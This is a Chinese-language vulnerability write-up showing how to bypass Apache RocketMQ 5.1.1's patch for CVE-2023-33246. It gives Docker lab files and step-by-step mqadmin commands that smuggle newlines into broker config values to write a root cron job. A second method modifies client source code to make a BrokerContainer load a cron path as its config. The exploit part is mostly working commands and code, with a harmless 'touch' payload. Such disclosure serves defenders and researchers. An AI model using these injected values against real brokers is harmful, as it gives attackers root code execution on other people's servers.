RocketMQ 5.1.1写计划任务RCE

CVE-2023-33246 是通过updateBrokerConfig更新Broker的filterServerNumsrocketmqHome这两项配置进行RCE的(rocketmqHome会被拼接到命令中执行,filterServerNums>0 是进入命令执行的前提条件)

修复的逻辑是直接删除相关代码

但从仓库的修复代码来看,还存在另一处RCE的点,不过官方只发布了上述一个CVE编号

另一处RCE的修复代码为:https://github.com/apache/rocketmq/pull/6733/files

修复的逻辑是不允许远程更新以下配置项:

brokerConfigPath
configStorePath
kvConfigPath
configStorePathName

而这些配置项都是指定不同配置文件的存储路径,那么RCE的方式就是在root权限的前提下将配置文件的路径改为cron定时任务路径

这个RCE的点随 CVE-2023-33246 一起于 RocketMQ 5.1.1 的发布而修复

然而官方的这种修复方式存在绕过

利用条件

受影响的服务有两个,Broker 和 BrokerContainer,利用条件不同:

  • Broker (默认端口10911)
    • root权限运行
    • 重启一次
    • cron服务
  • BrokerContainer (默认端口10811)
    • root权限运行
    • cron服务

断点调试

Broker或者NameSrv等服务会监听端口,以RocketMQ协议通信(TCP + JSON),在相应服务的processRequest中下断点即可

org.apache.rocketmq.broker.processor.AdminBrokerProcessor#processRequest
org.apache.rocketmq.namesrv.processor.DefaultRequestProcessor#processRequest
org.apache.rocketmq.container.BrokerContainerProcessor#processRequest

绕过方法一(攻击Broker)

环境搭建

dockerfile

1
2
3
4
5
6
7
8
FROM openjdk:8u342-jdk

RUN apt update && \
apt install vim netcat iputils-ping net-tools cron -y && \
wget https://archive.apache.org/dist/rocketmq/5.1.1/rocketmq-all-5.1.1-bin-release.zip && \
unzip rocketmq-all-5.1.1-bin-release.zip

WORKDIR /rocketmq-all-5.1.1-bin-release/bin/

docker-compose.yml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
version: '2'

services:
namesrv:
build: .
container_name: rmqnamesrv
ports:
- 9876:9876
environment:
- JAVA_OPT_EXT=-Xms1g -Xmx1g -Xmn512m
command: sh mqnamesrv

broker:
build: .
container_name: rmqbroker
ports:
- 10909:10909
- 10911:10911
- 10912:10912
- 9555:9555
environment:
- JAVA_OPT_EXT=-Xms1g -Xmx1g -Xmn512m
- JAVA_OPT=-Xdebug -Xrunjdwp:transport=dt_socket,address=9555,server=y,suspend=n
command: sh mqbroker -n namesrv:9876 -c ../conf/broker.conf
depends_on:
- namesrv

dashboard:
image: apacherocketmq/rocketmq-dashboard
container_name: rmqdashboard
restart: always
ports:
- 8080:8080
environment:
JAVA_OPTS: "-Drocketmq.namesrv.addr=namesrv:9876"
depends_on:
- namesrv

test:
build: .
container_name: rmq_test
environment:
- JAVA_OPT_EXT=-Xms1g -Xmx1g -Xmn512m
command: tail -f

启动环境之后,需要手动在Broker机器上开启cron

1
service cron start

复现步骤

有多种方式可以远程更新RocketMQ配置,最简单的是起一个RocketMQ的docker环境,利用其中的mqadmin命令行工具

更新其他配置,通过换行符注入自定义配置项

1
./mqadmin updateBrokerConfig -k storePathRootDir -v '/tmp/store\nbrokerConfigPath=/etc/cron.d/test' -b host.docker.internal:10911

执行完这条命令后,远端Broker的storePathRootDir这项配置在内存中的值是/tmp/store\nbrokerConfigPath=/etc/cron.d/test,但同时这项配置也会被写入配置文件,在Broker这台机器上,配置文件conf/broker.conf内容将会如下:

1
2
3
4
...
storePathRootDir=/tmp/store
brokerConfigPath=/etc/cron.d/test
...

让远端Broker配置文件中的配置生效

目前只是配置文件中的brokerConfigPath为指定的计划任务路径,其实并未被程序读取加载,让远端读取加载的方式可能存在多种,目前我只发现重启机器的方法(很鸡肋

1
docker restart rmqbroker

容器中的cron不会自启动,还需要再次进入Broker容器手动启动cron

在配置文件中写入计划任务

1
./mqadmin updateBrokerConfig -k bindAddress -v '0.0.0.0\n* * * * * root touch /tmp/success' -b host.docker.internal:10911

此时Broker就会将配置写入/etc/cron.d/test文件

还需要将value为空的配置进行数据填充

1
2
3
4
5
6
./mqadmin updateBrokerConfig -k controllerAddr -v 127.0.0.1 -b host.docker.internal:10911
./mqadmin updateBrokerConfig -k messageStorePlugIn -v test -b host.docker.internal:10911
./mqadmin updateBrokerConfig -k metricsLabel -v test -b host.docker.internal:10911
./mqadmin updateBrokerConfig -k metricsGrpcExporterHeader -v test -b host.docker.internal:10911
./mqadmin updateBrokerConfig -k metricsGrpcExporterTarget -v test -b host.docker.internal:10911
./mqadmin updateBrokerConfig -k metricsPromExporterHost -v 127.0.0.1 -b host.docker.internal:10911

因为测试cron的时候遇到一个坑,当计划任务文件包含key=空的行时将不会执行,不知道其他版本或系统是否这样

至多1分钟后,命令将被执行

绕过方法二(攻击BrokerContainer)

BrokerContainer介绍:https://github.com/apache/rocketmq/wiki/RIP-31-Support-RocketMQ-BrokerContainer

环境

docker-compose.yml 需要修改如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
version: '2'

services:
namesrv:
build: .
container_name: rmqnamesrv
ports:
- 9876:9876
environment:
- JAVA_OPT_EXT=-Xms1g -Xmx1g -Xmn512m
command: sh mqnamesrv

brokercontainer:
build: .
container_name: rmqbrokercontainer
ports:
- 6888:6888
- 10811:10811
- 9555:9555
environment:
- JAVA_OPT_EXT=-Xms1g -Xmx1g -Xmn512m
- JAVA_OPT=-Xdebug -Xrunjdwp:transport=dt_socket,address=9555,server=y,suspend=n
command:
- /bin/sh
- -c
- |
printf "listenPort=10811\nnamesrvAddr=namesrv:9876\n" > broker-container.conf
sh mqbrokercontainer -c broker-container.conf
depends_on:
- namesrv

dashboard:
image: apacherocketmq/rocketmq-dashboard
container_name: rmqdashboard
restart: always
ports:
- 8080:8080
environment:
JAVA_OPTS: "-Drocketmq.namesrv.addr=namesrv:9876"
depends_on:
- namesrv

test:
build: .
container_name: rmq_test
environment:
- JAVA_OPT_EXT=-Xms1g -Xmx1g -Xmn512m
command: tail -f

启动环境之后,需要手动在BrokerContainer机器上开启cron

1
service cron start

复现

创建配置文件路径为计划任务的Broker

测试环境中启动mqbrokercontainer的时候是没有指定brokerConfigPaths的,所以默认只有brokercontainer服务,没有具体Broker。可以用./mqadmin addBroker启动一个Broker

相关代码中存在如下逻辑:

org.apache.rocketmq.container.BrokerContainerProcessor#addBroker

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
String configPath = requestHeader.getConfigPath();

if (configPath != null && !configPath.isEmpty()) {
BrokerStartup.SystemConfigFileHelper configFileHelper = new BrokerStartup.SystemConfigFileHelper();
configFileHelper.setFile(configPath);

try {
brokerProperties = configFileHelper.loadConfig();
} catch (Exception e) {
LOGGER.error("addBroker load config from {} failed, {}", configPath, e);
}
} else {
byte[] body = request.getBody();
if (body != null) {
String bodyStr = new String(body, MixAll.DEFAULT_CHARSET);
brokerProperties = MixAll.string2Properties(bodyStr);
}
}

如果未指定configPath的话,将会从请求包中直接读取配置,然而configPath对于mqadminaddBroker指令是必选项,而且无法自定义包体的内容

usage: mqadmin addBroker -b -c [-h] [-n ]
-b,–brokerConfigPath Broker config path
-c,–brokerContainerAddr Broker container address
-h,–help Print help
-n,–namesrvAddr Name server address list, eg: ‘192.168.0.1:9876;192.168.0.2:9876’

所以我们需要自己构造RocketMQ协议,或者直接修改源码进行调用,这里我采用了后者:

这条命令./mqadmin addBroker -c host.docker.internal:10811 -b ''其实也是调用Java,完整命令行参数如下:

1
/usr/local/openjdk-8/bin/java -server -Xms1g -Xmx1g -Xmn256m -XX:MetaspaceSize=128m -XX:MaxMetaspaceSize=128m -cp .:/rocketmq-all-5.1.1-bin-release/bin/../conf:/rocketmq-all-5.1.1-bin-release/bin/../lib/*: -Drmq.logback.configurationFile=/rocketmq-all-5.1.1-bin-release/conf/rmq.tools.logback.xml org.apache.rocketmq.tools.command.MQAdminStartup addBroker -c host.docker.internal:10811 -b   

那么这样修改源码进行调用效果是一样的:

org.apache.rocketmq.tools.command.MQAdminStartup#main

1
2
3
4
public static void main(String[] args) {
//main0(args, null);
main0(new String[]{"addBroker", "-c" ,"127.0.0.1:10811", "-b",""},null);
}

接着通过request.setBody添加包体:

org.apache.rocketmq.client.impl.MQClientAPIImpl#addBroker

1
2
3
4
5
6
7
8
9
10
RemotingCommand request = RemotingCommand.createRequestCommand(RequestCode.ADD_BROKER, requestHeader);
request.setBody(
("brokerClusterName = DefaultCluster\n" +
"brokerName = broker-a\n" +
"brokerId = 0\n" +
"deleteWhen = 04\n" +
"fileReservedTime = 48\n" +
"brokerRole = ASYNC_MASTER\n" +
"flushDiskType = ASYNC_FLUSH\n" +
"brokerConfigPath=/etc/cron.d/test\n").getBytes());

这样让远端BrokerContainer服务启动Broker成功后,默认端口是在6888,当然也可以在配置内容中指定端口

触发配置文件写入

目前配置都在内存中,再一次通过mqadmin注入配置就可以将配置文件导出到对应路径

1
./mqadmin updateBrokerConfig -k storePathRootDir -v '/tmp/store\n* * * * * root touch /tmp/success' -b host.docker.internal:6888

还需要将value为空的配置进行数据填充

1
2
3
4
5
6
./mqadmin updateBrokerConfig -k controllerAddr -v 127.0.0.1 -b host.docker.internal:6888
./mqadmin updateBrokerConfig -k messageStorePlugIn -v test -b host.docker.internal:6888
./mqadmin updateBrokerConfig -k metricsLabel -v test -b host.docker.internal:6888
./mqadmin updateBrokerConfig -k metricsGrpcExporterHeader -v test -b host.docker.internal:6888
./mqadmin updateBrokerConfig -k metricsGrpcExporterTarget -v test -b host.docker.internal:6888
./mqadmin updateBrokerConfig -k metricsPromExporterHost -v 127.0.0.1 -b host.docker.internal:6888

同样至多1分钟后,命令将被执行